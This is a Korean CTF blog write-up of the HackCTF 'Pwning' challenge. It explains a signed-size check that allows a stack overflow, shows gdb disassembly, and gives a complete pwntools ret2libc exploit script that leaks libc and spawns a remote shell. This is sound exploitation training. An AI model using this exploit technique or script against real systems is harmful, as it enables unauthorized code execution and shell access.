시작
안녕하세요 :D
300점 짜리로 오니깐 확 어려워진 HackCTF 입니다. 200점대랑 갭이 엄청 커져서 당황스럽네요 ㅠㅠ
이번엔 Pwning 풀어보도록 하겠습니다!!
Write UP
root@goorm:/workspace/LCH_Server/HackCTF/20.Pwning# ./pwning
How many bytes do you want me to read? 32
Ok, sounds good. Give me 32 bytes of data!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
You said: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
몇 바이트를 읽을거냐고 물어봅니다.
대충 32를 줬더니 딱 그 만큼만 받네요.
root@goorm:/workspace/LCH_Server/HackCTF/20.Pwning# ./pwning
How many bytes do you want me to read? 100
No! That size (100) is too large!
큰 값을 주면 사이즈가 크다며 종료해버립니다.
gdb-peda$ pd vuln
Dump of assembler code for function vuln:
0x0804852f <+0>: push ebp
0x08048530 <+1>: mov ebp,esp
0x08048532 <+3>: sub esp,0x48
0x08048535 <+6>: mov DWORD PTR [esp],0x8048680
0x0804853c <+13>: call 0x8048370 <printf@plt>
0x08048541 <+18>: mov DWORD PTR [esp+0x4],0x4
0x08048549 <+26>: lea eax,[ebp-0x2c]
0x0804854c <+29>: mov DWORD PTR [esp],eax
0x0804854f <+32>: call 0x80484e3
0x08048554 <+37>: lea eax,[ebp-0x2c]
0x08048557 <+40>: mov DWORD PTR [esp],eax
0x0804855a <+43>: call 0x80483c0 <atoi@plt>
0x0804855f <+48>: mov DWORD PTR [ebp-0xc],eax
0x08048562 <+51>: cmp DWORD PTR [ebp-0xc],0x20
0x08048566 <+55>: jle 0x804857d <vuln+78>
0x08048568 <+57>: mov eax,DWORD PTR [ebp-0xc]
0x0804856b <+60>: mov DWORD PTR [esp+0x4],eax
0x0804856f <+64>: mov DWORD PTR [esp],0x80486a8
0x08048576 <+71>: call 0x8048370 <printf@plt>
0x0804857b <+76>: jmp 0x80485b6 <vuln+135>
0x0804857d <+78>: mov eax,DWORD PTR [ebp-0xc]
0x08048580 <+81>: mov DWORD PTR [esp+0x4],eax
0x08048584 <+85>: mov DWORD PTR [esp],0x80486cc
0x0804858b <+92>: call 0x8048370 <printf@plt>
0x08048590 <+97>: mov eax,DWORD PTR [ebp-0xc]
0x08048593 <+100>: mov DWORD PTR [esp+0x4],eax
0x08048597 <+104>: lea eax,[ebp-0x2c]
0x0804859a <+107>: mov DWORD PTR [esp],eax
0x0804859d <+110>: call 0x80484e3 <get_n>
0x080485a2 <+115>: lea eax,[ebp-0x2c]
0x080485a5 <+118>: mov DWORD PTR [esp+0x4],eax
0x080485a9 <+122>: mov DWORD PTR [esp],0x80486f8
0x080485b0 <+129>: call 0x8048370 <printf@plt>
0x080485b5 <+134>: nop
0x080485b6 <+135>: leave
0x080485b7 <+136>: ret
End of assembler dump.
vuln() 함수입니다.
짚고 가야 할 부분은 +51 부분에 0x20이랑 cmp하는 부분이 보여요. atoi()에서 넘겨받은 eax값이니깐 우리의 입력이랑 비교하는 것이겠죠?
따라서 0x20보다 큰 입력을 주면, 사이즈가 크다는 구문을 출력합니다.
저 부분을 넘어서면 ebp-0xc를 인자로 주면서 get_n() 함수를 호출합니다.
gdb-peda$ pd get_n
Dump of assembler code for function get_n:
0x080484e3 <+0>: push ebp
0x080484e4 <+1>: mov ebp,esp
0x080484e6 <+3>: sub esp,0x18
0x080484e9 <+6>: mov DWORD PTR [ebp-0xc],0x0
0x080484f0 <+13>: jmp 0x8048506 <get_n+35>
0x080484f2 <+15>: mov eax,DWORD PTR [ebp-0xc]
0x080484f5 <+18>: lea edx,[eax+0x1]
0x080484f8 <+21>: mov DWORD PTR [ebp-0xc],edx
0x080484fb <+24>: mov edx,DWORD PTR [ebp+0x8]
0x080484fe <+27>: add edx,eax
0x08048500 <+29>: movzx eax,BYTE PTR [ebp-0xd]
0x08048504 <+33>: mov BYTE PTR [edx],al
0x08048506 <+35>: call 0x8048380 <getchar@plt>
0x0804850b <+40>: mov BYTE PTR [ebp-0xd],al
0x0804850e <+43>: cmp BYTE PTR [ebp-0xd],0x0
0x08048512 <+47>: je 0x8048522 <get_n+63>
0x08048514 <+49>: cmp BYTE PTR [ebp-0xd],0xa
0x08048518 <+53>: je 0x8048522 <get_n+63>
0x0804851a <+55>: mov eax,DWORD PTR [ebp-0xc]
0x0804851d <+58>: cmp eax,DWORD PTR [ebp+0xc]
0x08048520 <+61>: jb 0x80484f2 <get_n+15>
0x08048522 <+63>: mov eax,DWORD PTR [ebp-0xc]
0x08048525 <+66>: mov edx,DWORD PTR [ebp+0x8]
0x08048528 <+69>: add eax,edx
0x0804852a <+71>: mov BYTE PTR [eax],0x0
0x0804852d <+74>: leave
0x0804852e <+75>: ret
End of assembler dump.
get_n() 함수입니다.
getchar()로 한 문자씩 받아오고, 얘가 NULL값이거나 개행 문자(0xa)이면 루프를 나가는 구조에요.
여기서 +24를 보면 ebp+0x8을 참조하는데, 얘가 vuln()에서 인자로 넘겨받은 친구죠? (vuln()의 ebp)-0x2c 였습니다.
따라서 0x2c = 44 bytes 이상의 값을 주면 EBP와 RET을 건드릴 수 있지만..
최대 입력 받을 수 있는 값이 0x20 = 32 bytes에요. BOF를 일으키려면 얘부터 어떻게 해야겠네요.
다시 vuln()으로 돌아와서, cmp 구문을 잘 봅시다.
0x20이 최댓값이라고는 정의했지만, 최솟값에 대한 언급은 없네요? 따라서 우리는 여기서 음수 값을 넣어도 무방합니다.
root@goorm:/workspace/LCH_Server/HackCTF/20.Pwning# ./pwning
How many bytes do you want me to read? -1
Ok, sounds good. Give me 4294967295 bytes of data!
이렇게 되면 엄청 많은 메모리를 읽을 수 있게 돼요.
BOF가 터졌으니, 마지막으로 "A" * 44 + "BBBB" + "CCCC"
페이로드를 줘서 EIP가 성공적으로 덮이는지 확인합시다.
gdb-peda$ r
How many bytes do you want me to read? -1
Ok, sounds good. Give me 4294967295 bytes of data!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
.
.
Stopped reason: SIGSEGV
gdb-peda$ x/wx $ebp
0x42424242: Cannot access memory at address 0x42424242
gdb-peda$ x/wx $eip
0x43434343: Cannot access memory at address 0x43434343
깔끔하네요 ㅎㅎ
익스플로잇 시나리오는 다음과 같습니다.
1. printf() 함수 leak
2. libc-database를 이용해 서버에서 사용하는 libc 종류 확인
3. system(), “/bin/sh” offset 계산
4. main()으로 리턴, 다시 BOF 발생 후 system(“/bin/sh”) 실행!!
코드입니다.
from pwn import *
#context.log_level = "debug"
#p = process("./pwning")
p = remote("ctf.j0n9hyun.xyz", 3019)
printf_plt = 0x8048370
printf_got = 0x804a00c
ppr = 0x804864e
pr = 0x804835d
main = 0x80485b8
binsh_offset = 0x11000b
system_offset = 0xe6e0
payload = ""
p.recvuntil("read? ")
p.sendline("-1")
p.recvuntil("data!\n")
payload += "A" * 48
payload += p32(printf_plt)
payload += p32(main)
payload += p32(printf_got)
p.sendline(payload)
p.recvline()
data = p.recv(1024)
printf_addr = data[:4]
printf_addr = int(printf_addr[::-1].encode("hex"), 16)
log.info("printf_addr = " + hex(printf_addr))
system_addr = printf_addr - system_offset
binsh_addr = printf_addr + binsh_offset
log.info("system_addr = " + hex(system_addr))
log.info("binsh_addr = " + hex(binsh_addr))
p.sendline("-1")
p.recvuntil("data!\n")
exploit = ""
exploit += "A" * 48
exploit += p32(system_addr)
exploit += "AAAA"
exploit += p32(binsh_addr)
p.sendline(exploit)
p.interactive()
Exploit!!
마무리
get_n()
함수에서 이상한 부분에 꽂혀가지구 삽질했네요..
recv(), send() 구문도 생각한 대로 안돼서 엄청 여러 번 수정했습니다 ㅋㅋㅋㅋㅋ
감사합니다 :D
'CTF_Write_UP > HackCTF' 카테고리의 다른 글
[HackCTF] Unexploitable #1 (0) | 2019.10.10 |
---|---|
[HackCTF] UAF (0) | 2019.09.26 |
[HackCTF] Gift (0) | 2019.09.23 |
[HackCTF] Look at me (0) | 2019.09.23 |
[HackCTF] Beginner_Heap (0) | 2019.09.23 |